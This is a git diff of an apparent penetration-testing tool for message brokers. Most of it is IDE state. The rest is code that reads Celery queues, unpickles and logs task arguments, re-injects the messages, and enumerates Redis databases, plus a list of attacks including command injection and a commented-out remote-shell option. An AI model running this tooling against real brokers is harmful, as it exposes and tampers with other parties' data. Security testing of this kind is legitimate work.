<state vertical-scroll-proportion="0.57371795"> <state vertical-scroll-proportion="0.57371795">
<caret line="46" column="12" selection-start-line="46" selection-start-column="12" selection-end-line="46" selection-end-column="12" /> <caret line="46" column="12" selection-start-line="46" selection-start-column="12" selection-end-line="46" selection-end-column="12" />
<folding> <folding>
<element signature="e#25#36#0" expanded="true" /> <element signature="e#25#36#0" expanded="false" />
</folding> </folding>
</state> </state>
</provider> </provider>
@@ -836,17 +859,6 @@
</state> </state>
</provider> </provider>
</entry> </entry>
<entry file="file://$PROJECT_DIR$/ATTACKS.md">
<provider editor-type-id="MarkdownPreviewEditor">
<state />
</provider>
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.7827715">
<caret line="22" column="0" selection-start-line="22" selection-start-column="0" selection-end-line="22" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/libs/core/bootloader.py"> <entry file="file://$PROJECT_DIR$/enteletaor_lib/libs/core/bootloader.py">
<provider selected="true" editor-type-id="text-editor"> <provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.5620567"> <state vertical-scroll-proportion="0.5620567">
@@ -868,9 +880,8 @@
<state vertical-scroll-proportion="0.83651805"> <state vertical-scroll-proportion="0.83651805">
<caret line="27" column="58" selection-start-line="27" selection-start-column="58" selection-end-line="27" selection-end-column="58" /> <caret line="27" column="58" selection-start-line="27" selection-start-column="58" selection-end-line="27" selection-end-column="58" />
<folding> <folding>
<element signature="e#25#39#0" expanded="true" /> <element signature="e#232#273#1" expanded="false" />
<element signature="e#232#273#1" expanded="true" /> <element signature="e#447#519#1" expanded="false" />
<element signature="e#447#519#1" expanded="true" />
</folding> </folding>
</state> </state>
</provider> </provider>
@@ -899,7 +910,7 @@
<state vertical-scroll-proportion="0.44373673"> <state vertical-scroll-proportion="0.44373673">
<caret line="11" column="1" selection-start-line="11" selection-start-column="1" selection-end-line="11" selection-end-column="1" /> <caret line="11" column="1" selection-start-line="11" selection-start-column="1" selection-end-line="11" selection-end-column="1" />
<folding> <folding>
<element signature="e#35#73#0" expanded="true" /> <element signature="e#35#73#0" expanded="false" />
</folding> </folding>
</state> </state>
</provider> </provider>
@@ -918,7 +929,7 @@
<caret line="32" column="0" selection-start-line="32" selection-start-column="0" selection-end-line="32" selection-end-column="0" /> <caret line="32" column="0" selection-start-line="32" selection-start-column="0" selection-end-line="32" selection-end-column="0" />
<folding> <folding>
<element signature="e#383#630#0" expanded="false" /> <element signature="e#383#630#0" expanded="false" />
<element signature="e#819#1013#1" expanded="true" /> <element signature="e#819#1013#1" expanded="false" />
</folding> </folding>
</state> </state>
</provider> </provider>
@@ -928,8 +939,8 @@
<state vertical-scroll-proportion="0.4503546"> <state vertical-scroll-proportion="0.4503546">
<caret line="1000" column="61" selection-start-line="1000" selection-start-column="61" selection-end-line="1000" selection-end-column="61" /> <caret line="1000" column="61" selection-start-line="1000" selection-start-column="61" selection-end-line="1000" selection-end-column="61" />
<folding> <folding>
<element signature="e#73#111#0" expanded="true" /> <element signature="e#73#111#0" expanded="false" />
<element signature="e#14371#15835#1" expanded="true" /> <element signature="e#14371#15835#1" expanded="false" />
</folding> </folding>
</state> </state>
</provider> </provider>
@@ -939,7 +950,7 @@
<state vertical-scroll-proportion="0.37056738"> <state vertical-scroll-proportion="0.37056738">
<caret line="11" column="6" selection-start-line="11" selection-start-column="6" selection-end-line="11" selection-end-column="6" /> <caret line="11" column="6" selection-start-line="11" selection-start-column="6" selection-end-line="11" selection-end-column="6" />
<folding> <folding>
<element signature="e#26#84#1" expanded="true" /> <element signature="e#26#84#1" expanded="false" />
</folding> </folding>
</state> </state>
</provider> </provider>
@@ -949,7 +960,7 @@
<state vertical-scroll-proportion="0.74554706"> <state vertical-scroll-proportion="0.74554706">
<caret line="117" column="23" selection-start-line="117" selection-start-column="23" selection-end-line="117" selection-end-column="23" /> <caret line="117" column="23" selection-start-line="117" selection-start-column="23" selection-end-line="117" selection-end-column="23" />
<folding> <folding>
<element signature="e#3760#4046#1" expanded="true" /> <element signature="e#3760#4046#1" expanded="false" />
</folding> </folding>
</state> </state>
</provider> </provider>
@@ -976,25 +987,13 @@
</state> </state>
</provider> </provider>
</entry> </entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/dump/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.24410541">
<caret line="16" column="22" selection-start-line="16" selection-start-column="8" selection-end-line="16" selection-end-column="22" />
<folding>
<element signature="e#25#38#0" expanded="true" />
<element signature="e#858#916#1" expanded="true" />
<element signature="e#1570#1605#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$USER_HOME$/.virtualenvs/enteletaor/lib/python3.4/site-packages/wtforms/form.py"> <entry file="file://$USER_HOME$/.virtualenvs/enteletaor/lib/python3.4/site-packages/wtforms/form.py">
<provider selected="true" editor-type-id="text-editor"> <provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="-0.063800275"> <state vertical-scroll-proportion="-0.063800275">
<caret line="271" column="55" selection-start-line="271" selection-start-column="40" selection-end-line="271" selection-end-column="55" /> <caret line="271" column="55" selection-start-line="271" selection-start-column="40" selection-end-line="271" selection-end-column="55" />
<folding> <folding>
<element signature="e#8336#8597#1" expanded="true" /> <element signature="e#8336#8597#1" expanded="false" />
<element signature="e#8722#9916#1" expanded="true" /> <element signature="e#8722#9916#1" expanded="false" />
</folding> </folding>
</state> </state>
</provider> </provider>
@@ -1007,13 +1006,13 @@
<element signature="e#4392#4545#0" expanded="false" /> <element signature="e#4392#4545#0" expanded="false" />
<element signature="e#4578#4731#0" expanded="false" /> <element signature="e#4578#4731#0" expanded="false" />
<element signature="e#4765#4924#0" expanded="false" /> <element signature="e#4765#4924#0" expanded="false" />
<element signature="e#4968#5583#1" expanded="true" /> <element signature="e#4968#5583#1" expanded="false" />
<element signature="e#5676#5975#0" expanded="false" /> <element signature="e#5676#5975#0" expanded="false" />
<element signature="e#6030#6371#0" expanded="false" /> <element signature="e#6030#6371#0" expanded="false" />
<element signature="e#6437#6900#1" expanded="true" /> <element signature="e#6437#6900#1" expanded="false" />
<element signature="e#7759#8057#1" expanded="true" /> <element signature="e#7759#8057#1" expanded="false" />
<element signature="e#8456#8619#1" expanded="true" /> <element signature="e#8456#8619#1" expanded="false" />
<element signature="e#8697#9001#1" expanded="true" /> <element signature="e#8697#9001#1" expanded="false" />
<element signature="e#10811#11113#0" expanded="false" /> <element signature="e#10811#11113#0" expanded="false" />
<element signature="e#11162#11406#0" expanded="false" /> <element signature="e#11162#11406#0" expanded="false" />
<element signature="e#12084#12173#0" expanded="false" /> <element signature="e#12084#12173#0" expanded="false" />
@@ -1112,16 +1111,6 @@
</state> </state>
</provider> </provider>
</entry> </entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_info.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.35714287">
<caret line="10" column="37" selection-start-line="10" selection-start-column="37" selection-end-line="10" selection-end-column="37" />
<folding>
<element signature="e#25#35#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/libs/core/models.py"> <entry file="file://$PROJECT_DIR$/enteletaor_lib/libs/core/models.py">
<provider selected="true" editor-type-id="text-editor"> <provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.062030077"> <state vertical-scroll-proportion="0.062030077">
@@ -1144,58 +1133,6 @@
</state> </state>
</provider> </provider>
</entry> </entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_clients.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.6828125">
<caret line="27" column="23" selection-start-line="27" selection-start-column="19" selection-end-line="27" selection-end-column="23" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_disconnect.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.7921875">
<caret line="38" column="31" selection-start-line="38" selection-start-column="31" selection-end-line="38" selection-end-column="31" />
<folding>
<element signature="e#211#261#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/api.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="1.0518672">
<caret line="54" column="0" selection-start-line="54" selection-start-column="0" selection-end-line="54" selection-end-column="0" />
<folding>
<element signature="e#25#70#1" expanded="true" />
<element signature="e#72#82#0" expanded="true" />
<element signature="e#964#1088#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.7095436">
<caret line="18" column="0" selection-start-line="18" selection-start-column="0" selection-end-line="18" selection-end-column="0" />
<folding>
<element signature="e#25#35#0" expanded="true" />
<element signature="e#607#774#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.44813278">
<caret line="12" column="69" selection-start-line="12" selection-start-column="69" selection-end-line="12" selection-end-column="69" />
<folding>
<element signature="e#25#86#1" expanded="true" />
<element signature="e#194#239#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/libs/core/cmd.py"> <entry file="file://$PROJECT_DIR$/enteletaor_lib/libs/core/cmd.py">
<provider selected="true" editor-type-id="text-editor"> <provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.74786323"> <state vertical-scroll-proportion="0.74786323">
@@ -1221,10 +1158,59 @@
</state> </state>
</provider> </provider>
</entry> </entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_shell.py"> <entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py">
<provider selected="true" editor-type-id="text-editor"> <provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0"> <state vertical-scroll-proportion="0.0">
<caret line="34" column="35" selection-start-line="34" selection-start-column="35" selection-end-line="34" selection-end-column="35" /> <caret line="29" column="21" selection-start-line="29" selection-start-column="21" selection-end-line="29" selection-end-column="21" />
<folding>
<element signature="e#25#37#0" expanded="true" />
<element signature="e#678#714#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_clients.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.6333333">
<caret line="24" column="26" selection-start-line="0" selection-start-column="0" selection-end-line="29" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_disconnect.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.39833334">
<caret line="26" column="57" selection-start-line="26" selection-start-column="57" selection-end-line="26" selection-end-column="57" />
<folding>
<element signature="e#25#35#0" expanded="true" />
<element signature="e#211#261#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.2451613">
<caret line="12" column="69" selection-start-line="12" selection-start-column="69" selection-end-line="12" selection-end-column="69" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_discover_db.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.2451613">
<caret line="8" column="0" selection-start-line="8" selection-start-column="0" selection-end-line="8" selection-end-column="0" />
<folding>
<element signature="e#25#35#0" expanded="true" />
<element signature="e#206#242#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_info.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.5209677">
<caret line="19" column="31" selection-start-line="19" selection-start-column="31" selection-end-line="19" selection-end-column="31" />
<folding> <folding>
<element signature="e#25#35#0" expanded="true" /> <element signature="e#25#35#0" expanded="true" />
</folding> </folding>
@@ -1233,22 +1219,84 @@
</entry> </entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py"> <entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py">
<provider selected="true" editor-type-id="text-editor"> <provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0"> <state vertical-scroll-proportion="0.5209677">
<caret line="26" column="0" selection-start-line="26" selection-start-column="0" selection-end-line="26" selection-end-column="0" /> <caret line="50" column="20" selection-start-line="50" selection-start-column="12" selection-end-line="50" selection-end-column="20" />
<folding> <folding>
<element signature="e#25#39#0" expanded="true" /> <element signature="e#25#39#0" expanded="true" />
<element signature="e#866#924#1" expanded="true" /> <element signature="e#686#818#0" expanded="false" />
<element signature="e#923#981#1" expanded="true" />
</folding> </folding>
</state> </state>
</provider> </provider>
</entry> </entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py"> <entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/__init__.py">
<provider selected="true" editor-type-id="text-editor"> <provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.475"> <state vertical-scroll-proportion="0.0">
<caret line="39" column="35" selection-start-line="39" selection-start-column="35" selection-end-line="39" selection-end-column="35" /> <caret line="18" column="0" selection-start-line="18" selection-start-column="0" selection-end-line="18" selection-end-column="0" />
<folding> <folding>
<element signature="e#25#37#0" expanded="true" /> <element signature="e#25#35#0" expanded="true" />
<element signature="e#605#641#1" expanded="true" /> <element signature="e#607#774#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/ATTACKS.md">
<provider editor-type-id="MarkdownPreviewEditor">
<state />
</provider>
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.74067795">
<caret line="23" column="0" selection-start-line="23" selection-start-column="0" selection-end-line="23" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/proc/cmd_actions.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.33709678">
<caret line="13" column="0" selection-start-line="13" selection-start-column="0" selection-end-line="13" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/api.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.18387097">
<caret line="6" column="10" selection-start-line="6" selection-start-column="10" selection-end-line="6" selection-end-column="10" />
<folding>
<element signature="e#25#70#1" expanded="true" />
<element signature="e#964#1088#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/proc/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.8467742">
<caret line="57" column="0" selection-start-line="57" selection-start-column="0" selection-end-line="57" selection-end-column="0" />
<folding>
<element signature="e#25#39#0" expanded="true" />
<element signature="e#853#911#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_shell.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.32903227">
<caret line="34" column="35" selection-start-line="34" selection-start-column="35" selection-end-line="34" selection-end-column="35" />
<folding>
<element signature="e#25#35#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.14209828">
<caret line="40" column="47" selection-start-line="40" selection-start-column="47" selection-end-line="40" selection-end-column="47" />
<folding>
<element signature="e#25#35#0" expanded="true" />
</folding> </folding>
</state> </state>
</provider> </provider>

View File

@@ -19,4 +19,5 @@ These attacks can be executed in all of brokers/MQ:
#. Looking for sensible information (i.e. user/password) #. Looking for sensible information (i.e. user/password)
#. Remote command injection #. Remote command injection
#. Listing remote process #. Listing remote process
#. Remove messages form queues
#. Reject all messages stored in queues to avoid clients to receive them #. Reject all messages stored in queues to avoid clients to receive them

View File

@@ -1,102 +0,0 @@
# -*- coding: utf-8 -*-
import pickle
import logging
from time import sleep
from modules import IModule
from kombu import Connection
from kombu.simple import Empty
from kombu.exceptions import SerializationError
from ...libs.core.structs import CommonData, AppSettings
from ...libs.core.models import IntegerField, StringField, SelectField, validators
log = logging.getLogger()
REDIS = "10.211.55.69"
class ModuleModel(CommonData):
interval = IntegerField(default=4)
target = StringField([validators.required()])
export_results = StringField(default="")
import_results = StringField(default=None)
broker_type = SelectField(default="redis", choices=[
("redis", "Redis server"),
("zmq", "ZeroMQ"),
("amqp", "RabbitMQ broker")
])
# ----------------------------------------------------------------------
class RemoteProcessModule(IModule):
"""
Try to extract information from remote processes
"""
__model__ = ModuleModel
name = "dump"
description = "connect to remote server/s and dumps all available information"
# ----------------------------------------------------------------------
def run(self, config):
# --------------------------------------------------------------------------
# Ver dirty monkey patch to avoid kombu write into screen
# --------------------------------------------------------------------------
try:
import sys
sys.stderr = open("/dev/null")
except IOError:
pass
dump_from_celery(config)
# ----------------------------------------------------------------------
def dump_from_celery(config):
"""
Start dumping information
"""
URL = '%s://%s' % (config.broker_type, config.target)
# with Connection('redis://%s' % REDIS) as conn:
with Connection(URL) as conn:
in_queue = conn.SimpleQueue('celery')
while 1:
try:
while 1:
message = in_queue.get(block=False, timeout=1)
# message = in_queue.get(block=False, timeout=1)
# --------------------------------------------------------------------------
# Try to deserialize
# --------------------------------------------------------------------------
# Is Pickle info?
try:
deserialized = pickle.loads(message.body)
except SerializationError:
pass
# Read info
remote_process = deserialized['task'].split(".")[-1]
remote_args = deserialized['args']
# Show info
_show_info(remote_process, remote_args)
except Empty:
# Queue is empty -> wait
log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval)
sleep(2)
# ----------------------------------------------------------------------
def _show_info(process, args):
log.error("Found process information:")
log.error(" - Remote process name: '%s'" % process)
log.error(" - Input parameters:")
for i, x in enumerate(args):
log.error(" -> P%s: %s" % (i, x))

View File

@@ -0,0 +1,57 @@
# -*- coding: utf-8 -*-
import logging
from modules import IModule
from libs.core.structs import CommonData
from libs.core.models import IntegerField, StringField, SelectField
from .proc_raw_dump import action_proc_raw_dump
from .cmd_actions import parser_proc_raw_dump
log = logging.getLogger()
# ----------------------------------------------------------------------
class ModuleModel(CommonData):
target = StringField(required=True)
export_results = StringField(default="")
import_results = StringField(default=None)
db = StringField(default=None, label="only for Redis: database to use")
broker_type = SelectField(default="redis", choices=[
("redis", "Redis server"),
("zmq", "ZeroMQ"),
("amqp", "RabbitMQ broker")
])
# ----------------------------------------------------------------------
class RemoteProcessModule(IModule):
"""
Try to extract information from remote processes
"""
__model__ = ModuleModel
__submodules__ = {
'raw-dump': dict(
help="dump raw remote information process",
cmd_args=parser_proc_raw_dump,
action=action_proc_raw_dump
),
}
name = "proc"
description = "try to discover and handle processes in remote MQ/Brokers"
# ----------------------------------------------------------------------
def run(self, config):
# --------------------------------------------------------------------------
# Ver dirty monkey patch to avoid kombu write into screen
# --------------------------------------------------------------------------
try:
import sys
sys.stderr = open("/dev/null")
except IOError:
pass
super(RemoteProcessModule, self).run(config)

View File

@@ -0,0 +1,13 @@
# -*- coding: utf-8 -*-
"""
This file contains command line actions for argparser
"""
# ----------------------------------------------------------------------
def parser_proc_raw_dump(parser):
parser.add_argument("--tail", action="store_true", dest="tail_mode", default=False,
help="although all information be dumped do not stop")
parser.add_argument("-I", dest="interval", type=float, default=4,
help="timeout interval between tow connections")

View File

@@ -0,0 +1,75 @@
# -*- coding: utf-8 -*-
import six
import logging
from time import sleep
from kombu import Connection
from kombu.simple import Empty
from six.moves.cPickle import loads
from kombu.exceptions import SerializationError
log = logging.getLogger()
# ----------------------------------------------------------------------
def action_proc_raw_dump(config):
url = '%s://%s' % (config.broker_type, config.target)
# with Connection('redis://%s' % REDIS) as conn:
with Connection(url) as conn:
in_queue = conn.SimpleQueue('celery')
to_inject = []
already_processed = set()
while 1:
try:
while 1:
message = in_queue.get(block=False, timeout=1)
# --------------------------------------------------------------------------
# Try to deserialize
# --------------------------------------------------------------------------
# Is Pickle info?
try:
deserialized = loads(message.body)
except SerializationError:
pass
msg_id = deserialized['id']
# Read info
if msg_id not in already_processed:
remote_process = deserialized['task'].split(".")[-1]
remote_args = deserialized['args']
# Show info
log.error("Found process information:")
log.error(" - Remote process name: '%s'" % remote_process)
log.error(" - Input parameters:")
for i, x in enumerate(remote_args):
log.error(" -> P%s: %s" % (i, x))
# Store as processed
already_processed.add(msg_id)
# --------------------------------------------------------------------------
# Store message to re-send
# --------------------------------------------------------------------------
to_inject.append(deserialized)
except Empty:
# When Queue is Empty -> reinject all removed messages
for x in to_inject:
in_queue.put(x, serializer="pickle")
# Queue is empty -> wait
if config.tail_mode:
log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval)
sleep(config.interval)
else:
log.error("No more messages from server. Exiting...")
return

View File

@@ -12,6 +12,7 @@ from .redis_info import action_redis_server_info
from .redis_clients import action_redis_server_connected from .redis_clients import action_redis_server_connected
from .redis_disconnect import action_redis_server_disconnect from .redis_disconnect import action_redis_server_disconnect
from .redis_shell import action_redis_shell from .redis_shell import action_redis_shell
from .redis_discover_db import action_redis_discover_dbs
log = logging.getLogger() log = logging.getLogger()
@@ -50,6 +51,10 @@ class RedisModule(IModule):
cmd_args=parser_redis_server_disconnect, cmd_args=parser_redis_server_disconnect,
action=action_redis_server_disconnect action=action_redis_server_disconnect
), ),
'discover-dbs': dict(
help="discover all redis DBs at server",
action=action_redis_discover_dbs
),
# 'shell': dict( # 'shell': dict(
# help="open a remote os shell through the Redis server", # help="open a remote os shell through the Redis server",
# action=action_redis_shell # action=action_redis_shell

View File

@@ -0,0 +1,26 @@
# -*- coding: utf-8 -*-
import six
import redis
import logging
log = logging.getLogger()
# ----------------------------------------------------------------------
def action_redis_discover_dbs(config):
"""
Dump all redis information
"""
log.warning("Trying to connect with redis server...")
# Connection with redis
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
log.error("Discovered '%s' DBs at '%s':" % (config.target, con.config_get("databases")['databases']))
for db_name, db_content in six.iteritems(con.info("keyspace")):
log.error(" - %s - %s keys" % (db_name.upper(), db_content['keys']))
for i in six.moves.range((int(con.config_get("databases")['databases']) - len(con.info("keyspace")))):
log.error(" - DB%s - Empty" % str(i))

View File

@@ -7,6 +7,7 @@ import pprint
log = logging.getLogger() log = logging.getLogger()
# ----------------------------------------------------------------------
def dump_keys(con): def dump_keys(con):
for key in con.keys('*'): for key in con.keys('*'):